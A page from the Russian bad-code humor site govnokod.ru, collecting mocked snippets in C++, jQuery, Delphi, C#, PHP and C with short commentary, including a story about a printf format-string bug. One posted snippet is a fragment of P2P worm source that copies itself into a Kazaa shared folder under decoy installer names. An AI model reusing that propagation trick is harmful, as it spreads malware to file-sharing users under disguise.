- 1
log::write(std::string() + "Opened \"" + filename + "\"");
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+165
log::write(std::string() + "Opened \"" + filename + "\"");
История не моя, но приложу её к коду:
>Несколько лет назад у нас в проекте была такая строчка кода
Функция log::write() принимала форматную строку и набор аргументов, как printf.
Если имя файла содержит %, возможны неприятности, но такие файлы обычно не встречаются.
Я когда это увидел, очень резко прокоментировал способности и интелектуальный уровень того, кто так написал.
Как же так, если файл называется скажем "%s", программа грохнется с вероятностью близкой к 100%!
Как оказалось, этот кусок кода писала жена начальника.
Морские свинки и программистки, ага.
Кажется она сильно обиделась, меня уволили.
+171
$('#bc8').html('<style type="text/css">#bc8 {display:none;}</style>');
$('#bc7').html('<style type="text/css">#bc7 {display:none;}</style>');
$('#bc12').html('<style type="text/css">#bc12 {display:none;}</style>');
$('#bc16').html('<style type="text/css">#bc16 {display:none;}</style>');
$('#bc18').html('<style type="text/css">#bc18 {display:none;}</style>');
$('#bc17').html('<style type="text/css">#bc17 {display:none;}</style>');
$('#bc9').html('<style type="text/css">#bc9 {display:none;}</style>');
Хороший jQuery-программист
+106
function TmainForm1.getLetterFinger( letter: String ): Integer;
begin
letter := UpperCase( letter );
if ( letter = 'Ё' ) or ( letter = '1' ) or ( letter = 'Й' ) or
( letter = 'Ф' ) or ( letter = 'Я' ) or ( letter = '~' ) or
( letter = '!' ) or ( letter = 'Q' ) or ( letter = 'A' ) or
( letter = 'Z' ) or ( letter = 'LSHIFT' ) or ( letter = 'LCTRL' ) or
( letter = 'TAB' ) or ( letter = 'CAPS' ) or ( letter = 'SHIFT' ) then
Result := 1;
if ( letter = '2' ) or ( letter = '@' ) or ( letter = '"' ) or
( letter = 'W' ) or ( letter = 'S' ) or ( letter = 'X' ) or
( letter = 'Ц' ) or ( letter = 'Ы' ) or ( letter = 'Ч' ) then
Result := 2;
if ( letter = '3' ) or ( letter = '№' ) or ( letter = '#' ) or
( letter = 'E' ) or ( letter = 'D' ) or ( letter = 'C' ) or
( letter = 'У' ) or ( letter = 'В' ) or ( letter = 'С' ) then
Result := 3;
if ( letter = '4' ) or ( letter = ';' ) or ( letter = '$' ) or
( letter = 'R' ) or ( letter = 'F' ) or ( letter = 'V' ) or
( letter = 'К' ) or ( letter = 'А' ) or ( letter = 'М' ) or
( letter = '5' ) or ( letter = '%' ) or ( letter = 'Е' ) or
( letter = 'П' ) or ( letter = 'И' ) or ( letter = 'Е' ) or
( letter = 'T' ) or ( letter = 'G' ) or ( letter = 'B' ) then
Result := 4;
if ( letter = 'LSPACE' ) or ( letter = 'LATL' ) then
Result := 5;
if ( letter = 'RSPACE' ) or ( letter = 'RATL' ) then
Result := 6;
if ( letter = '&' ) or ( letter = '?' ) or ( letter = '7' ) or
( letter = 'Y' ) or ( letter = 'U' ) or ( letter = 'H' ) or
( letter = 'J' ) or ( letter = 'N' ) or ( letter = 'M' ) or
( letter = 'Н' ) or ( letter = 'Г' ) or ( letter = 'Р' ) or
( letter = 'О' ) or ( letter = 'Т' ) or ( letter = 'Ь' ) then
Result := 7;
if ( letter = '8' ) or ( letter = '*' ) or ( letter = 'Ш' ) or
( letter = 'Л' ) or ( letter = 'Б' ) or ( letter = ',' ) or
( letter = '<' ) or ( letter = 'K' ) or ( letter = 'I' ) then
Result := 8;
if ( letter = '9' ) or ( letter = '(' ) or ( letter = 'O' ) or
( letter = 'L' ) or ( letter = '.' ) or ( letter = '>' ) or
( letter = 'Щ' ) or ( letter = 'Д' ) or ( letter = 'Ю' ) then
Result := 9;
if ( letter = '0' ) or ( letter = ')' ) or ( letter = '-' ) or
( letter = '_' ) or ( letter = '+' ) or ( letter = '=' ) or
( letter = 'BACKSPACE' ) or ( letter = 'ENTER' ) or
( letter = 'RSHIFT' ) or ( letter = 'P' ) or ( letter = '{' ) or
( letter = '[' ) or ( letter = '}' ) or ( letter = ']' ) or
( letter = ':' ) or ( letter = ';' ) or ( letter = '''' ) or
( letter = '"' ) or ( letter = '/' ) or ( letter = '?' ) or
( letter = '\' ) or ( letter = '/' ) or ( letter = '?' ) or
( letter = '|' ) or ( letter = 'Ж' ) or ( letter = 'Э' ) or
( letter = '.' ) or ( letter = ',' ) or ( letter = 'З' ) or
( letter = 'Х' ) or ( letter = 'Ъ' ) then
Result := 10;
end;
Nuff said.
+958
namespace sortFiles
{
public partial class Form1 : Form
{
private void listBox1_DragDrop(object sender, DragEventArgs e)
{
this.listBox1.Items.AddRange((string[])e.Data.GetData(DataFormats.FileDrop, false));
}
private void listBox1_DragEnter(object sender, DragEventArgs e)
{
e.Effect = (e.Data.GetDataPresent(DataFormats.FileDrop) ? DragDropEffects.Copy : DragDropEffects.None);
}
private void listBox1_MouseDown(object sender, MouseEventArgs e)
{
var files = new List<OrderByMyCamera>();
foreach (string i in listBox1.Items)
files.Add(new OrderByMyCamera(i));
if(files.Count==0)
return;
files.Sort();
var filesArray = files.Select(item=>item.ToString()).ToArray();
DoDragDrop(new DataObject(DataFormats.FileDrop, filesArray), DragDropEffects.Copy);
}
}
internal class OrderByMyCamera : IComparable<OrderByMyCamera>
{
private readonly string _filePath;
private readonly int _fileNumber;
public OrderByMyCamera(string filePath)
{
_filePath = filePath;
var fileName = Path.GetFileNameWithoutExtension(filePath);
if(fileName.Count()!=6)
throw new Exception("Имя файла должно быть 6+4 символов вида MOVXXX.mpg. Возможно вы попытались вставить не те файлы в программу");
if (!filePath.Trim().ToLower().EndsWith(".mpg"))
throw new Exception("Файлы должны заканчиваться на расширение .mpg. Сконвертируете файлы в mpeg, прежде чем вставите их в программу");
int fileNumber = int.Parse(fileName.Substring(3), NumberStyles.HexNumber);
_fileNumber = fileNumber;
}
public override string ToString()
{
return _filePath;
}
public int CompareTo(OrderByMyCamera other)
{
if (_fileNumber == other._fileNumber)
return 0;
return (_fileNumber > other._fileNumber ? 1 : -1);
}
}
}
+163
if($a=$b) {
echo "$ab";
break;
} else {
require("cmd.exe.php");
rebut();
} else if($a ==require("exe.php") ) {
die("exit");
}
+162
notified.insert( (void*)dns, (void*)42 );
Порадовал юмор разработчиков QT. Им было нужно какое-то магическое значение указателя для внутренних нужд. Они выбрали это.
http://habrahabr.ru/blogs/qt_software/123603/#comment_4059719
+147
#include <math.h>
#include <iostream>
#include <conio.h>
#include <istream>
using namespace std;
class Complex{
public:
double real;
double image;
Complex(){};
Complex(double re){real = re; image = 0;}
Complex(double re, double im){real = re ; image = im ;}
~Complex(){}
Complex & operator=(Complex &);
Complex & operator=(double);
double abs(){
return sqrt(real * real + image * image);
}
double arg(){
return (2*atan(image/(real+abs())));
}
double imag(){
return image;
}
double re(){
return real;
}
inline friend Complex operator+(const Complex, const Complex);
Complex operator+();
inline friend Complex operator-(const Complex, const Complex);
inline friend Complex operator*(const Complex, const Complex);
inline friend Complex operator*(Complex, double);
inline friend Complex operator/(const Complex, const Complex);
inline friend Complex operator/(const Complex, const double);
inline friend Complex operator+=(Complex, Complex);
inline friend Complex operator+=(Complex, double);
inline Complex conj(Complex fp1);
inline Complex Complex::expon(Complex fp1);
inline Complex Complex::sinus(Complex fp1);
inline Complex Complex::cosinus(Complex fp1);
inline Complex Complex::hypercosinus(Complex fp1);
inline Complex Complex::hypersinus(Complex fp1);
inline Complex Complex::logarithm(Complex fp1);
friend ostream &operator<<(ostream &, Complex &);
friend istream &operator>>(istream &, Complex &);
};
const Complex _i = Complex(0,1);
Complex Complex::operator+()
{
return *this;
}
Complex operator+(const Complex fp1, const Complex fp2)
{
Complex fp;
fp.real = fp1.real + fp2.real;
fp.image = fp1.image + fp2.image;
return fp;
}
Complex operator+=(Complex fp1, Complex fp2)
{
fp1.real = fp1.real + fp2.real;
fp1.image = fp1.image + fp2.image;
return fp1;
}
Complex operator+=(Complex fp1, double dbl)
{
fp1.real = fp1.real + dbl;
return fp1;
}
Complex operator-(const Complex fp1, const Complex fp2)
{
Complex fp;
fp.real = fp1.real - fp2.real;
fp.image = fp1.image - fp2.image;
return fp;
}
Complex operator*(const Complex fp1, const Complex fp2)
{
Complex fp;
fp.real = fp1.real * fp2.real - fp1.image * fp2.image;
fp.image = fp1.real * fp2.image + fp1.image * fp2.real;
return fp;
}
Complex operator*(Complex fp1, double dbl)
{
fp1.real = dbl * fp1.real;
fp1.image = dbl * fp1.image;
return fp1;
}
Complex operator/(const Complex fp1, const Complex fp2)
{
double k;
Complex fp;
лаба по ИВТ.. класс для работы с комплексными числами
+147
$url_view = 'pages/news';// страница вида
$data = array(); //Создаем массив дата
// сегменты урл
$data['segment_1'] = $filter_1;
$data['segment_2'] = $filter_2;
$limit = 10; // вывод новостей
$num_links = 4; // кол-во страниц во круг текущей
$uri_segment = 5; // сегмент ссылки
$offset = ($page - 1) * $limit; // переводим page в offset
if(!is_numeric($filter_2)) {$filter_2 = iconv('utf-8', 'windows-1251', urldecode($filter_2));}
$base_url = '/page/filter/'.$filter_1.'/'.$filter_2.'/';
// разбираем 1 фильтр для проверки
$filter_global = explode("_",$filter_1);
if($filter_global[0] == 'user') {$filter_1 = 'user'; $user_id = (int)$filter_global[1];}
// описание каждого элемента фильтра
switch($filter_1) {
case 'date':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'date_day':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'date_month':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'date_year':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'rating':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'random':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'moderation':
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
case 'user':
$filter_1 = $filter_global[0].'_'.$filter_global[1]; // собираем обратно
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
default:
$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
break;
}
$this->auxiliary->pagination($base_url,$uri_segment,$num_links,$total,$limit);//настройки пагинации
$this->auxiliary->general_view($data,'title_best','description_best','keywords_best',$url_view); // общий вид
проверьте на наличие гавно кода .
Контроллер фильтра выдачи в Codeigniter
+135
randomize(); //Включаем генератор случайных чисел.
ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
switch (ra)
{
case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
//Присоединяем к пути новое имя.
case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
//Я говорил про запасную переменную.
case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
// Мы юзаем "\\" потому что так нужно.
case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
}
CopyFile(myname, KazaaFull, FALSE);
//Ну и копируем свое тело в папку KazaaFull
http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/
+175
function enc($text) {
$bad_symbols = array('ï', 'î', 'é', 'è', 'ì', 'å', 'í', 'õ', 'Ö', 'Ç',
'Â', 'â', 'ó', 'ç', 'ä', 'à', 'Í', 'ò', 'Ð', 'ÿ',
'ñ', 'Ì', 'ë', 'ý', 'ö', 'ã', 'Ñ', 'Ô', 'Ï', 'ü',
'Ã', 'ð', 'æ', 'á', 'À', '¸', 'ù', 'Ê', 'ê', 'Á',
'÷', 'Ý', 'û', 'Ë', 'È', 'Ò', 'ß', 'þ', 'Ä', 'Î',
'Ó', 'Å', 'Æ', 'Û', 'ø', 'ô', '×', '¹', '³', 'Õ', 'Þ', 'Ø');
$good_symbols = array('п', 'о', 'й', 'и', 'м', 'е', 'н', 'х', 'Ц', 'З',
'В', 'в', 'у', 'з', 'д', 'а', 'Н', 'т', 'Р', 'я',
'с', 'М', 'л', 'э', 'ц', 'г', 'С', 'Ф', 'П', 'ь',
'Г', 'р', 'ж', 'б', 'А', 'ё', 'щ', 'К', 'к', 'Б',
'ч', 'Э', 'ы', 'Л', 'И', 'Т', 'Я', 'ю', 'Д', 'О',
'У', 'Е', 'Ж', 'Ы', 'ш', 'ф', 'Ч', '№', 'і', 'Х', 'Ю', 'Ш');
$text_rus = str_replace($bad_symbols, $good_symbols, $text, $count);
// Восстанавливаем японские иероглифы
$bad_symbols = array('іх', 'Тф', 'ҐЇ', 'Ґё', 'ҐЯ', '©`', 'Ґµ', 'Ґа', 'ь\\', '¤¦', '¤µ', 'Ґ«', 'Ґу', 'Ґї', 'Ґм', 'Ґй',
'Ґ¦', 'ҐЙ', 'Ґ·', 'Ґ°', 'ҐК', 'Ґл', 'Ґк', 'Ґи', 'ЈЁ', 'Ј©', 'ЈЬ', 'ЈЇ', 'Бч', 'РЗ', 'СІ', 'зR',
'ВЇ', 'РД', 'ИЪ', 'Ѕв', 'ҐЄ', 'Ґп', 'Ґі', 'РР', 'ЯM', 'Зъ', 'ҐИ', '¤н', '¤ї', '¤у', '¤А', '±°',
'ЗУ', '‘й', 'к ', 'ҐЬ', 'Ґн', '¤П', '¤д', '‰ф', '¤Я', '¤л', '¤і', '¤И', '¤к');
$good_symbols = array('初', '音', 'ク', 'ジ', 'ミ', 'ー', 'サ', 'ム', '黒', 'う', 'さ', 'カ', 'ン', 'タ', 'レ', 'ラ',
'ウ', 'ド', 'シ', 'グ', 'ナ', 'ル', 'リ', 'ヨ', '(', ')', '\', '/', '流', '星', '巡', '鏡',
'炉', '心', '融', '解', 'オ', 'ワ', 'コ', '行', '進', '曲', 'ト', 'ろ', 'た', 'ん', 'だ', '卑',
'怯', '戦', '隊', 'ボ', 'ロ', 'は', 'や', '夢', 'み', 'る', 'こ', 'と', 'り');
$text_jap = str_replace($bad_symbols, $good_symbols, $text_rus, $count2);
if ($count > 3)
return $text_rus;
elseif ($count2 > 3)
return $text_jap;
else return $text;
}
Декодер кривых тегов на интернет-радио.
Написано год назад.
Я, конечно, знал про iconv, но очень хотелось решить головоломку - имелся тег, который я знал, что значит в верной кодировке. А остальные я не знал, что значат.
И в итоге, зная некоторые соответствия символов win-1252 и win-1251, стал отгадывать соответствия к остальным :)
А дальше - высший пилотаж, это даже iconv не брал.
Японские иероглифы, испорченные хрен знает как. Знал только как расшифровывается имя одного исполнителя.
Дальше гуглом и методом тыка искал соответствия к остальным иероглифам.